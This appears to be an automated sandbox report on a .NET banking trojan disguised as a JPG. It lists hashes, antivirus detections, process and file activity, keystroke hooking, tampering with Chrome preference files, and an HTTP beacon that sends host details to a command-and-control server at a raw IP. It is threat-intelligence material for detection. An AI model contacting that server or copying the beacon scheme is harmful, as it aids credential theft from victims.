Exes_6d513eeb87ed972660bcb1c12d96e30f_jpg_2019-07-10_10_30.txt

* MalFamily: "Msilperseus"

* MalScore: 10.0

* File Name: "Exes_6d513eeb87ed972660bcb1c12d96e30f.jpg"
* File Size: 3124224
* File Type: "PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows"
* SHA256: "38050f32fdfae31c86834a3e10023a6fc3f735a4bb03ed701228e15ce2a6cea8"
* MD5: "6d513eeb87ed972660bcb1c12d96e30f"
* SHA1: "159a92084c4807534fedfe3cba2376efb78ac00c"
* SHA512: "b213a2a122ec08c763ac747259bc1c68fd4ba06f0f9c1056e3847e93bd4a4e61f14498e7c9ec6b2e22bcd7d98ba0507fec4aa53fa6fd9f29a9899b12915547b2"
* CRC32: "CC326425"
* SSDEEP: "49152:753wBUHQ0j5dZVlABGNR4mwpwNPocZV4HnIBemOnv8Uo+:dgBUHQkvXaPmdUIBnOnk"

* Process Execution:
    "Exes_6d513eeb87ed972660bcb1c12d96e30f.jpg",
    "vbc.exe",
    "cvtres.exe",
    "vbc.exe",
    "cvtres.exe",
    "svchost.exe",
    "WmiPrvSE.exe"


* Executed Commands:
    "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe\" /noconfig @\"C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.cmdline\"",
    "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe\" /noconfig @\"C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.cmdline\"",
    "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\user\\AppData\\Local\\Temp\\RES5036.tmp\" \"C:\\Users\\user\\AppData\\Local\\Temp\\vbc5025.tmp\"",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
    "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\user\\AppData\\Local\\Temp\\RES85FC.tmp\" \"C:\\Users\\user\\AppData\\Local\\Temp\\vbc85FB.tmp\""


* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"


                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"


                "suspicious_request": "http://34.238.151.233/AZL/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://34.238.151.233/AZL/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: .text, entropy: 7.72, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x0029e400, virtual_size: 0x0029e364"




        "Description": "Sniffs keystrokes",
        "Details":

                "SetWindowsHookExW": "Process: Exes_6d513eeb87ed972660bcb1c12d96e30f.jpg(940)"




        "Description": "Retrieves Windows ProductID, probably to fingerprint the sandbox",
        "Details":


        "Description": "File has been identified by 15 Antiviruses on VirusTotal as malicious",
        "Details":

                "MicroWorld-eScan": "Gen:Variant.MSILPerseus.151695"


                "FireEye": "Gen:Variant.MSILPerseus.151695"


                "ALYac": "Gen:Variant.MSILPerseus.151695"


                "Arcabit": "Trojan.MSILPerseus.D2508F"


                "BitDefender": "Gen:Variant.MSILPerseus.151695"


                "Avast": "Win32:Malware-gen"


                "Ad-Aware": "Gen:Variant.MSILPerseus.151695"


                "Emsisoft": "Gen:Variant.MSILPerseus.151695 (B)"


                "DrWeb": "Trojan.DownLoader29.34782"


                "GData": "Gen:Variant.MSILPerseus.151695"


                "ESET-NOD32": "a variant of MSIL/Spy.Banker.ES"


                "SentinelOne": "DFI - Suspicious PE"


                "AVG": "Win32:Malware-gen"


                "Cybereason": "malicious.b87ed9"


                "CrowdStrike": "win/malicious_confidence_80% (W)"




        "Description": "Collects information to fingerprint the system",
        "Details":



* Started Service:

* Mutexes:
    "Global\\CLR_CASOFF_MUTEX",
    "Global\\.net clr networking"


* Modified Files:
    "C:\\Users\\user\\AppData\\Local\\GDIPFONTCACHEV1.DAT",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.err",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.err",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc5025.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES5036.tmp",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
    "\\??\\PIPE\\wkssvc",
    "\\??\\PIPE\\srvsvc",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc85FB.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES85FC.tmp"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.pdb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.err",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\2rjbq-nt.dll",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.pdb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\yepptztm.err",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES5036.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc5025.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES85FC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc85FB.tmp"


* Modified Registry Keys:
    "HKEY_CURRENT_USER\\DWM",
    "HKEY_CURRENT_USER\\DWM\\COUNT",
    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32\\EnableFileTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32\\EnableConsoleTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32\\FileTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32\\ConsoleTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32\\MaxFileSize",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6d513eeb87ed972660bcb1c12d96e30f_RASAPI32\\FileDirectory"


* Deleted Registry Keys:

* DNS Communications:

* Domains:

* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "",
        "uri": "http://34.238.151.233/AZL/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3",
        "user-agent": "",
        "method": "GET",
        "host": "34.238.151.233",
        "version": "1.1",
        "path": "/AZL/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3",
        "data": "GET /AZL/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3 HTTP/1.1\r\nHost: 34.238.151.233\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: